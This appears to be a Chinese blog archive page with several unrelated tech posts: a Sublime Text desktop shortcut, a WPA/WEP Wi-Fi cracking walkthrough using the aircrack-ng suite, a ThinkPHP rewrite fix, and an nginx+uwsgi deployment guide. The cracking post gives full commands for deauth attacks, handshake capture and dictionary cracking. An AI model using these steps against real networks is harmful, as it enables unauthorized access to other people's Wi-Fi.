分类目录归档:未分类

ubuntu下新建sublime_text桌面图标

sublime text 的安装目录是:/usr/local/sublimetext
$cd 桌面
$vim Sublime\ Text.desktop
添加如下内容:
[Desktop Entry]
Version=1.0
Type=Application
Icon[zh_CN]=/usr/local/sublimetext/Icon/32×32/sublime_text.png
Name[zh_cn]=Sublime Text 2
Exec=/usr/local/sublimetext/sublime_text
Icon=/usr/local/sublimetext/Icon/32×32/sublime_text.png
Name[en_US]=Sublime Text

修改 Sublime Text.desktop 的权限
$chmod 755 Sublime\ Text.desktop

bt5破解无线密码,wpa暴力破解

首先查看网络连接:

root@bt:~# ifconfig -a #查看所有连接

激活无线网卡

root@bt:~#ifconfig wlan0 up

设置无线网卡为混杂模式

root@bt:~#airmon-ng start wlan0

airmon-ng

再次查看网络连接发现多了个mon0接口,以下就通过mon0开始破解无线网络

root@bt:~#ifconfig -a

airmoned-wlan mon0

破解WPA网络

首先找到目标,看哪个网络容易破解,一般有客户端连接的路由器才比较容易破解

root@bt:~#airodump-ng mon0

airodump

锁定目标,开始尝试破解目标网络

抓包保存

root@bt:~#airodump-ng -c 11 -w 20121025 mon0

参数说明:

-c 指定扫描信道

-c 11 只扫描信道为11的无线网线

-w 保存数据包到文件

现在的WPA破解只能是通过暴力破解,主要抓到客户端与路由器的握手包(handshake)就有可能通过字典猜解 ,

在有客户端连接的情况下,可以用deauh攻击让客户端下线,客户端一般都会自动连接,这时就可以抓到握手包了。

对客户端进行deauth攻击

root@bt:~#aireplay-ng -0 3 -a E0:05:C5:A7:BB:92 -c 98:0C:82:AC:1A:10 mon0

参数说明:-0 攻击模式是deauth, -0 3 发送3次deauth攻击

-a AP的mac 地址

-c 客户端地址

deauth

注入后我连接到路由器的手机马上掉线,过几秒钟又自动连接了

攻击的时候同时抓包,抓包窗口会提示抓到握手包: WPA handshake:E0:05:C5:A7:BB:92

deauth攻击的目的已经达到,现在可以停止抓包了,开始破解WPA密码:

root@bt:~#aircrack-ng -w WPA.txt 20121025-01.cap

参数说明:-w 字典文件

选择有handshake的无线网络,开始破解

WPA.txt 是事先在网上下载好的无线WPA字典,包含一些常用的密码和生日密码等等

生日密码被秒破了【惊恐】!!!

破解WEP无线网络

WEP破解是100%能破解出来的,不管多复杂的密码,只要能够抓够足够的IVS

还是先查找目标网络:

root@bt:~#airodump-ng –encrypt WEP mon0 #只抓WEP加密的网络

找到目标网络之后开始抓包保存

root@bt:~#airodump-ng –ivs -w 20121025 -c 11 mon0

为了能快速收集IVS,在有客户端的情况下进行ARP REQUEST 攻击

root@bt:~#aireplay-ng -3 -b E0:05:C5:A7:BB:92 -h 98:0C:82:AC:1A:10 mon0

收到5000个以上IVS之后,就可以破解了,如果破解不成功再多收集IVS

root@bt:~#aircrack-ng –ivs 20121025*.ivs

破解成功!wep加密基本是100%破解成功,所以一般不要设置加密方式为WEP,不过不要以为wpa/wpa2加密就高枕无忧了,

WPA密码要设置尽量杂点,不要用纯数字,8~10位的纯数字密码一般的破解字典都有。

 

windows下php以fastcgi运行支持ThinkPHP的URL重写

因为在Fastcgi模式下,php不支持rewrite的目标网址的PATH_INFO的解析
ThinkPHP运行在URL_MODEL=2时,会出现 No input file specified.的情况,
这时可以修改网站目录的.htaccess文件:
RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
改为
RewriteRule ^(.*)$ index.php?s=$1 [QSA,PT,L]

.htaccess的内容为:

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?s=$1 [QSA,PT,L]

配置Nginx+uwsgi部署python应用

 个人觉得php最方便的就是deployment了,只要把php文件丢到支持php的路径里面,然后访问那个路径就能使用了;无论给主机添加多少php应用,只要把目录改好就没你的事了,完全不用关心php-cgi运行得如何,deployment极为方便。

反观python,部属起来真是头痛,常见的部署方法有:

  1. fcgi:用spawn-fcgi或者框架自带的工具对各个project分别生成监听进程,然后和http服务互动
  2. wsgi:利用http服务的mod_wsgi模块来跑各个project

无论哪种都很麻烦,apache的mod_wsgi配置起来很麻烦,内存占用还大,如果要加上nginx作为静态页面的服务器那就更麻烦了;反正我的应用基本上到后来都是是各个project各自为战,且不说管理上的混乱,这样对负载也是不利的,空闲的project和繁忙的project同样需要占用内存,很容易出现站着茅坑不拉屎的现象。

如果有个啥东东能像php-cgi一样监听同一端口,进行统一管理和负载平衡,那真是能省下大量的部署功夫。偶然看到了uWSGI,才发现居然一直不知道有那么方便地统一部署工具。

uWSGI,既不用wsgi协议也不用fcgi协议,而是自创了一个uwsgi的协议,据说该协议大约是fcgi协议的10倍那么快,有个比较见下图

uWSGI的主要特点如下,其中一些功能让我感动得泪流满面

  1. 超快的性能
  2. 低内存占用(实测为apache2的mod_wsgi的一半左右)
  3. 多app管理(终于不用冥思苦想下个app用哪个端口比较好了-.-)
  4. 详尽的日志功能(可以用来分析app性能和瓶颈)
  5. 高度可定制(内存大小限制,服务一定次数后重启等)

总而言之uwgi是个部署用的好东东,正如uWSGI作者所吹嘘的:

If you are searching for a simple wsgi-only server, uWSGI is not for you, but if you are building a real (production-ready) app that need to be rock-solid, fast and easy to distribute/optimize for various load-average, you will pathetically and morbidly fall in love (we hope) with uWSGI.

正式开工

uwsgi的文档虽然蛮多也很详细,但是他们网站的排版真是让人无语,粗粗看上去根本不知道文档在哪里。其实是在这里:http://projects.unbit.it/uwsgi/wiki/Doc

0.安装uwsgi

ubuntu有uwsgi的ppa

add-apt-repository ppa:stevecrozz/ppa apt-get update apt-get install uwsgi

1. 用uwsgi代替mod_wsgi

nginx的整体配置说来话长,我也不再罗嗦了,假设已经明白nginx的基本配置,那么uwsgi就类似这么配置:

location / {   include uwsgi_params   uwsgi_pass 127.0.0.1:9090 }

这就是把所有url传给9090端口的uwsgi协议程序来互动。

再到project目录建立myapp.py,使得application调用框架的wsgi接口,比如web.py就是

...... app = web.application(urls, globals()) application = app.wsgifunc()

再比如django就是

....... from django.core.handlers.wsgi import WSGIHandler application = WSGIHandler()

然后运行uwsgi监听9090,其中-w后跟模块名,也就是刚才配置的myapp

uwsgi -s :9090 -w myapp

运行网站发现已经部署完成了。

2. uwsgi的参数

以上是单个project的最简单化部署,uwsgi还是有很多令人称赞的功能的,例如

并发4个线程

uwsgi -s :9090 -w myapp -p 4

主控制线程+4个线程

uwsgi -s :9090 -w myapp -M -p 4

执行超过30秒的client直接放弃

uwsgi -s :9090 -w myapp -M -p 4 -t 30

限制内存空间128M

uwsgi -s :9090 -w myapp -M -p 4 -t 30 --limit-as 128

服务超过10000个req自动respawn

uwsgi -s :9090 -w myapp -M -p 4 -t 30 --limit-as 128 -R 10000

后台运行等

uwsgi -s :9090 -w myapp -M -p 4 -t 30 --limit-as 128 -R 10000 -d uwsgi.log

更多用法见文档:http://projects.unbit.it/uwsgi/wiki/Doc

3.为uwsgi配置多个站点

为了让多个站点共享一个uwsgi服务,必须把uwsgi运行成虚拟站点:去掉“-w myapp”加上”-vhost”

uwsgi -s :9090 -M -p 4 -t 30 --limit-as 128 -R 10000 -d uwsgi.log --vhost

然后必须配置virtualenv,virtualenv是python的一个很有用的虚拟环境工具,这样安装

apt-get install python-setuptools easy_install virtualenv

然后设置一个/多个app基准环境

virtualenv /var/www/myenv

应用环境,在此环境下安装的软件仅在此环境下有效

source /var/www/myenv/bin/activate pip install django pip install mako ...

最后配置nginx,注意每个站点必须单独占用一个server,同一server不同location定向到不同的应用不知为何总是失败,我猜也算是一个bug。

server {         listen       80;         server_name  app1.mydomain.com;         location / {                 include uwsgi_params;                 uwsgi_pass 127.0.0.1:9090;                 uwsgi_param UWSGI_PYHOME /var/www/myenv;                 uwsgi_param UWSGI_SCRIPT myapp1;                 uwsgi_param UWSGI_CHDIR /var/www/myappdir1;         }     }     server {         listen       80;         server_name  app2.mydomain.com;         location / {                 include uwsgi_params;                 uwsgi_pass 127.0.0.1:9090;                 uwsgi_param UWSGI_PYHOME /var/www/myenv;                 uwsgi_param UWSGI_SCRIPT myapp2;                 uwsgi_param UWSGI_CHDIR /var/www/myappdir2;         }     }

如此这般,重启nginx服务,两个站点就可以共用一个uwsgi服务了。

4.实战应用

最初的设置完毕以后,再添加的应用,只需要在nginx里面进行少量修改,无需重启uwsgi,就能立刻部署完毕。uwsgi自带了基于django的监控uwsgi运行状态的工具,就拿它来部署好了:

server {     listen 80;     root   /var/www/django1.23;     index  index.html index.htm;     server_name uwsgiadmin.django.obmem.info;     access_log  /var/log/nginx/django.access.log;     location /media/ {         root /var/www/django1.23/adminmedia;         rewrite ^/media/(.*)$ /$1 break;     }     location / {         include uwsgi_params;         uwsgi_pass 127.0.0.1:9090;         uwsgi_param UWSGI_PYHOME /var/www/django1.23/vtenv;         uwsgi_param UWSGI_CHDIR /var/www/django1.23/uwsgiadmin;         uwsgi_param UWSGI_SCRIPT uwsgiadmin_wsgi;     } }

于是uwsgi的监控信息可以在http://uwsgiadmin.django.obmem.info 看到用户名密码都是admin。

再比如LBForum论坛程序的部署:根据安装说明安装完毕,再按部署说明修改完配置文件,然后只需修改nginx配置文件:

server {     listen 80;     root   /var/www/django1.23;     index  index.html index.htm;     server_name lbforum.django.obmem.info;     access_log  /var/log/nginx/django.access.log;     location / {         include uwsgi_params;         uwsgi_pass 127.0.0.1:9090;         uwsgi_param UWSGI_PYHOME /var/www/django1.23/vtenv;         uwsgi_param UWSGI_CHDIR /var/www/django1.23/LBForum/sites/default;         uwsgi_param UWSGI_SCRIPT lbforum_wsgi;     } }

于是 http://lbforum.django.obmem.info 就是论坛程序了。

后记

虽然写出来寥寥几行,配置的时候我可吃尽了uwsgi的苦头,有些想当然的用法完全不能成立,-no-site参数一加上去其他都好使LBForum怎么都部署不了,一开始多站点公用uwsgi怎么都成功不了等等。

python世界很有趣,一直会发现好玩的东东,但是python世界也很折腾人,大部分东东都是dev版本,文档缺失,各种兼容问题……大约是因为在python中,有个idea到实现出来实在是太过高效的关系吧,唉,被折腾死了。

自白

   从相识到现在,从冷淡到关怀,从拒绝到依赖,从陌生到相爱,从深信到疑猜,从疼爱到伤害,从绚烂到分开,一段情宁愿短暂精彩,还是先去问他会不会有将来,一份爱如果消逝的太快,你可不可以当它是命运的安排……一切顺其自然………………………….